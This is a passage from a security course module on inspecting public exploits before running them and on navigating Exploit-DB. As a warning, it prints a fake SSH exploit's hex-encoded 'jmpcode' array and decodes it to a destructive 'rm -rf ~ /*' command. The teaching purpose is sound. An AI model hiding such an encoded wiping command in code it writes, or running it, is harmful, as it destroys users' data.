We must understand that by downloading and running public exploits, we can greatly endanger a system or environment. With this in mind, we need to carefully read and understand the code before execution to ensure no negative effects.

Let's use 0pen0wn, which was published as a remote exploit for SSH, as an example. While reading the source code, we noticed that it was asking for "root" privileges, which was suspicious.

if (geteuid()) {
  puts("Root is required for raw sockets, etc."); return 1;
}

Listing 1 - Malicious SSH exploit asking for root privileges on the attacking machine

Further examination of the payload revealed an interesting jmpcode array.

[...]
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
[...]

Listing 2 - Malicious SSH exploit hex encoded payload

Although it was masked as shellcode,1 the "jmpcode" character array was actually a hex-encoded string containing a malicious shell command.

kali@kali:~$ python3

>>> jmpcode = [
... "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
... "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"]
>>> print(jmpcode)
['rm -rf ~ /* 2> /dev/null &']
>>>

Listing 3 - Malicious SSH exploit payload that will wipe your attacking machine

This single command would effectively wipe out the would-be attacker's UNIX-based filesystem. The program would then connect to a public IRC server to announce the user's actions to the world, making this an extremely dangerous and potentially embarrassing malicious exploit!

Given this danger, we will rely on more trustworthy exploit repositories in this Module.

The online resources mentioned in this Module analyze the submitted exploit code before hosting it online; however, it is still important to properly read the code ourselves to get a rough idea of what it will do upon execution. And if we are not yet proficient in programming, this is a great way to improve our code-reading skills.

Exploits that are written in a low-level programming language and require compilation are often hosted in both source code and binary format. While cumbersome to compile, source code is easier to inspect than binaries (without the assistance of specialized skills and tools).

If code inspection or compilation is too complex, we can set up a virtual machine environment with clean snapshots as an exploit testing ground, or sandbox. The snapshots on a newly set up environment allow it to be easily reconstructed if infected by something malicious or if the exploit causes it to break.

1

(Wikipedia, 2022), https://en.wikipedia.org/wiki/Shellcode ↩︎

The Exploit Database1 (commonly known as Exploit-DB or EDB) is a project maintained by OffSec.2 It is a free archive of public exploits that are gathered through submissions, mailing lists, and public resources.

 

 

Let's take a moment to analyze the homepage. By default, the list is sorted with the newest exploit at the top. The fields that will be covered are highlighted in the above image.

The D field is a quick way we can download the exploit file.

The A field lists the vulnerable application files of respective exploits which we can download for research and testing (if available).

The V field marks whether the exploit has been verified. Exploits with the verified checkmark have been reviewed, executed, and concluded to be a functioning exploit. These are reviewed by trusted members and add further assurance that the exploit is safe and functional.

The Title field will usually give the vulnerable application name along with its respective vulnerable version and the function of the exploit.

The Type field designates the exploit as one of the following: dos, local, remote, or webapp.

The Platform field designates which kind of system(s) are affected by the exploit. This can be operating systems, hardware, or even code language services such as PHP.

The last field designates the Author of the exploit.

Let's browse to an exploit to get more information. In this demonstration, we'll browse to m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated).3

 

 

Each exploit has a unique ID (a numeric value), known as the EDB-ID, which is also placed at the end of the URL of the respective exploit's page. The associated Common Vulnerabilities and Exposures (CVE) that the exploit impacts is also listed. Below the information fields, which we analyzed before, is the text of the exploit code. We can use the Exploit-DB site in this way to do quick code reviews before downloading the exploit.

Exploit Database updates are announced through Twitter4 and RSS5 feeds.

1

(OffSec, 2023), https://www.exploit-db.com ↩︎

2

(OffSec, 2023), https://www.offsec.com ↩︎

3

(Exploit DB, 2022), https://www.exploit-db.com/exploits/50943 ↩︎

4

(Twitter, 2022), https://twitter.com/exploitdb ↩︎

5

(OffSec, 2023), https://www.exploit-db.com/rss.xml ↩︎